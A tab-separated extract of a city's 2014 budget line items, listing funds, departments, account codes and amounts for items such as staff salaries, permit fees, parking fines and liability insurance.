9099	B1	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	555060.0	PROFESSIONAL SERVICES		 Supplies and Expenses	2014	18222.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	18222.0
9100	B1	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577500.0	TRANSFERS FROM / TO FUND	910.0	 Supplies and Expenses	2014	415381.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	415381.0
9101	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2014	10000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10000.0
9102	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	544120.0	PERIODICALS	804.0	 Supplies and Expenses	2014	1500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1500.0
9103	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	305589.0	0	0	0	0.0	4935	-116.0	0	0	0	0	0.0	310408.0
9104	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	557.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	557.0
9105	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2014	60000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	60000.0
9106	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	400870.0	LEASE RENTAL REVENUE-DOWNTOWN	618.0	Rentals	2014	-350188.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-350188.0
9107	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	401250.0	PLAN CHECK FEES-CITY PLANNING	612.0	Charges for Service	2014	-421211.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-421211.0
9108	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	400810.0	PEACE OFFICERS TRAINING	610.0	Intergovernmental	2014	-89778.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-89778.0
9109	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	401460.0	POLICE SERV-FINGERPRINTING	612.0	Charges for Service	2014	-33501.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-33501.0
9110	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2014	2200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2200.0
9111	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	533020.0	GENERAL LIABILITY / AUTO	816.0	 Supplies and Expenses	2014	6334.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6334.0
9112	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	533220.0	BLDG / STRUCTURE MAINTENANCE	816.0	 Supplies and Expenses	2014	616487.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	616487.0
9113	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511490.0	OVERTIME	816.0	Salaries and Wages	2014	20499.0	0	0	0	0.0	0	174.0	0	0	0	0	0.0	20673.0
9114	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2014	12138.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12138.0
9115	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	555210.0	TRAINING	810.0	 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
9116	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522710.0	AUTO REIMBURSEMENT	816.0	 Supplies and Expenses	2014	2500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2500.0
9117	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522720.0	MILEAGE	816.0	 Supplies and Expenses	2014	4000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4000.0
9118	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2014	12950.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12950.0
9119	B1	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522000.0	UNRECOVERED INSURANCE LOSS		 Supplies and Expenses	2014	400029.31	0	0	0	0.0	0	0.0	0	0	0	0	0.0	400029.31
9120	B1	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522050.0	MEDICAL EXAMS		 Supplies and Expenses	2014	50000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	50000.0
9121	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522720.0	MILEAGE	804.0	 Supplies and Expenses	2014	250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	250.0
9122	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2014	6683.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6683.0
9123	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2014	23500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	23500.0
9124	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511490.0	OVERTIME	804.0	Salaries and Wages	2014	5951.0	0	0	0	0.0	0	67.0	0	0	0	0	0.0	6018.0
9125	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	511490.0	OVERTIME	804.0	Salaries and Wages	2014	1010.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1010.0
9126	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	533110.0	SPECIAL EQUIPMENT-OPER SUPS	804.0	 Supplies and Expenses	2014	70000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	70000.0
9127	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	60000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	60000.0
9128	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	401920.0	FARMERS' MARKET	622.0	Other	2014	-861000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-861000.0
9129	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	401180.0	DISPLACEMENT RELOCATION FEE	612.0	Charges for Service	2014	-5000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-5000.0
9130	B1	IS	20	Miscellaneous Grants Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	404950.0	HOME INVESTMENT PARTNERSHIPS	610.0	Intergovernmental	2014	-461670.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-461670.0
9131	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	400470.0	POLICE PERMITS	608.0	Licenses and Permits	2014	-12350.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-12350.0
9132	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	405010.0	AUTO IMPOUND RELEASE	612.0	Charges for Service	2014	-233161.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-233161.0
9133	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	400370.0	RESIDENTIAL BLDG REPORT	612.0	Charges for Service	2014	-180000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-180000.0
9134	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	400500.0	BUILDING PERMITS	612.0	Charges for Service	2014	-2647050.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2647050.0
9135	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	400510.0	PLAN CHECK FEES-BLDG & SAFETY	612.0	Charges for Service	2014	-2587074.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2587074.0
9136	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522610.0	EQUIPMENT RENTAL	804.0	 Supplies and Expenses	2014	7500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7500.0
9137	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522720.0	MILEAGE	804.0	 Supplies and Expenses	2014	14500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	14500.0
9138	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2014	140000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	140000.0
9139	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	588090.0	FURNITURE & FURNISHINGS	804.0	 Supplies and Expenses	2014	900.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	900.0
9140	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		EAP	804.0	Salaries and Wages	2015	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
9141	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	416960.0	0	0	0	0.0	2707	0.0	0	0	0	0	0.0	419667.0
9142	B1	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522100.0	EXPERT WITNESS COSTS		 Supplies and Expenses	2014	125000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	125000.0
9143	B1	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	555210.0	TRAINING		 Supplies and Expenses	2014	20000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20000.0
9144	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2014	438832.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	438832.0
9145	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	87500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	87500.0
9146	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522620.0	RENT	804.0	 Supplies and Expenses	2014	147399.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	147399.0
9147	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	70000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	70000.0
9148	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401620.0	LIBRARY PARKING LOT	608.0	Licenses and Permits	2014	-35000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-35000.0
9149	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	401150.0	MALL ASSESSMENT DISTRICT	622.0	Other	2014	-1134586.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1134586.0
9150	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	400700.0	PARKING CITATION FINES	614.0	Fines and Forfeitures	2014	-14300000.0	0	0	0	0.0	0	-700000.0	0	0	0	0	0.0	-15000000.0
9151	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	401450.0	POLICE SERVICES/FEES	612.0	Charges for Service	2014	-7079.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-7079.0
9152	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	555210.0	TRAINING	804.0	 Supplies and Expenses	2014	9500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9500.0
9153	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511490.0	OVERTIME	816.0	Salaries and Wages	2014	4193.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4193.0
9154	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	522620.0	RENT	816.0	 Supplies and Expenses	2014	74359.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	74359.0
9155	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	588090.0	FURNITURE & FURNISHINGS	816.0	 Supplies and Expenses	2014	1500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1500.0
9156	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511490.0	OVERTIME	816.0	Salaries and Wages	2014	1887.0	0	0	0	0.0	0	283.0	0	0	0	0	0.0	2170.0
9157	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522130.0	UTILITIES - WATER	816.0	 Supplies and Expenses	2014	14010.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	14010.0
9158	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522540.0	ADVERTISING	816.0	 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
9159	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	533020.0	GENERAL LIABILITY / AUTO	816.0	 Supplies and Expenses	2014	7718.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7718.0
9160	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	555110.0	LEGAL EXPENSE	816.0	 Supplies and Expenses	2014	10000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10000.0
9161	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	13500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13500.0
9162	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2014	1136.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1136.0
9163	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	533020.0	GENERAL LIABILITY / AUTO	810.0	 Supplies and Expenses	2014	15283.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15283.0
9164	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	544010.0	SPECIAL DEPARTMENT SUPPLIES	810.0	 Supplies and Expenses	2014	26525.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	26525.0
9165	B1	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522090.0	MISCELLANEOUS COSTS		 Supplies and Expenses	2014	135000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	135000.0
9166	B1	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	555110.0	LEGAL EXPENSE		 Supplies and Expenses	2014	221434.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	221434.0
9167	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2014	5973.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5973.0
9168	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2014	72000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	72000.0
9169	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	23575.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	23575.0
9170	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	522520.0	LEGAL ADVERTISING	804.0	 Supplies and Expenses	2014	3000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3000.0
9171	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511490.0	OVERTIME	804.0	Salaries and Wages	2014	1212.0	0	0	0	0.0	0	116.0	0	0	0	0	0.0	1328.0
9172	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	403820.0	SUMMER FOOD SERVICE PROGRAM	610.0	Intergovernmental	2014	0.0	0	0	0	0.0	0	0.0	-22045	0	0	0	0.0	-22045.0
9173	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	403830.0	SUPPORTIVE HOUSING PROGRAM GR	610.0	Intergovernmental	2014	0.0	0	0	0	0.0	0	0.0	-389215	0	0	0	0.0	-389215.0
9174	B1	IS	15	Low/Mod Incme Housing Asset Fd	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	400750.0	INT DEP/INVESTMENT	616.0	Investment Income	2014	-2500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2500.0
9175	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	401470.0	DEVELOPMENT AGREEMENTS	612.0	Charges for Service	2014	-125000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-125000.0
9176	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	401550.0	MAP/CODE/SPECIFICATIONS SALES	612.0	Charges for Service	2014	-1197.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1197.0
9177	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	401560.0	ZONING APPR/VARIANCE FEES	612.0	Charges for Service	2014	-924566.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-924566.0
9178	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	7296108.0	0	0	0	43248.0	2167	0.0	0	0	0	0	0.0	7341523.0
9179	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511490.0	OVERTIME	804.0	Salaries and Wages	2014	1851.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1851.0
9180	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	555110.0	LEGAL EXPENSE	804.0	 Supplies and Expenses	2014	95000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	95000.0
9181	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511500.0	TEMPORARY EMPLOYEES	816.0	Salaries and Wages	2014	5727.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5727.0
9182	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	533220.0	BLDG / STRUCTURE MAINTENANCE	816.0	 Supplies and Expenses	2014	10000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10000.0
9183	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	577040.0	AUDIT FEES	816.0	 Supplies and Expenses	2014	10000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10000.0
9184	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522210.0	UTILITIES - TELEPHONE	810.0	 Supplies and Expenses	2014	31621.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	31621.0
9185	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	555060.0	PROFESSIONAL SERVICES	810.0	 Supplies and Expenses	2014	4000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4000.0
9186	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	765108.0	0	0	0	0.0	8695	-67.0	0	0	0	0	0.0	773736.0
9187	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	3782.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3782.0
9188	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	566090.0	ENTERTAIN - PUBLIC GS	804.0	 Supplies and Expenses	2014	18000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	18000.0
9189	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522720.0	MILEAGE	804.0	 Supplies and Expenses	2014	200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	200.0
9190	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522910.0	VEHICLES - FUELS / LUBRICATION	804.0	 Supplies and Expenses	2014	1568.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1568.0
9191	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2014	1200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1200.0
9192	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	555210.0	TRAINING	804.0	 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
9193	B1	IS	14	TORCA Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	400260.0	PROP K TORCA CONVERSION TAX	606.0	Other Local Taxes	2014	-80000.0	0	0	0	0.0	0	40000.0	0	0	0	0	0.0	-40000.0
9194	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	401900.0	FALSE ALARM	612.0	Charges for Service	2014	-319046.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-319046.0
9195	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2014	49117.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	49117.0
9196	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	7354.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7354.0
9197	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	5500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5500.0
9198	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2014	19503.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	19503.0
9199	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	555110.0	LEGAL EXPENSE	816.0	 Supplies and Expenses	2014	80000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	80000.0
9200	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	577230.0	FISCAL AGENT FEES	816.0	 Supplies and Expenses	2014	12000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12000.0
9201	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522120.0	UTILITIES - NATURAL GAS	816.0	 Supplies and Expenses	2014	700.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	700.0
9202	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2014	13000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13000.0
9203	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	544180.0	SMALL TOOLS	816.0	 Supplies and Expenses	2014	500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	500.0
9204	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2014	4200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4200.0
9205	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	69697.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	69697.0
9206	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	3510258.0	0	0	0	0.0	53744	-929.0	0	0	0	0	0.0	3563073.0
9207	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2014	2500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2500.0
9208	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522520.0	LEGAL ADVERTISING	804.0	 Supplies and Expenses	2014	63000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	63000.0
9209	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2014	1700.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1700.0
9210	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2014	3152.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3152.0
9211	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	555210.0	TRAINING	804.0	 Supplies and Expenses	2014	3000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3000.0
9212	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522610.0	EQUIPMENT RENTAL	804.0	 Supplies and Expenses	2014	162000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	162000.0
9213	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522310.0	OFFICE SUPPLIES / EXPENSES	816.0	 Supplies and Expenses	2014	24000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	24000.0
9214	B1	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	401190.0	CDBG PR YR ALLOCATION	610.0	Intergovernmental	2014	-500000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-500000.0
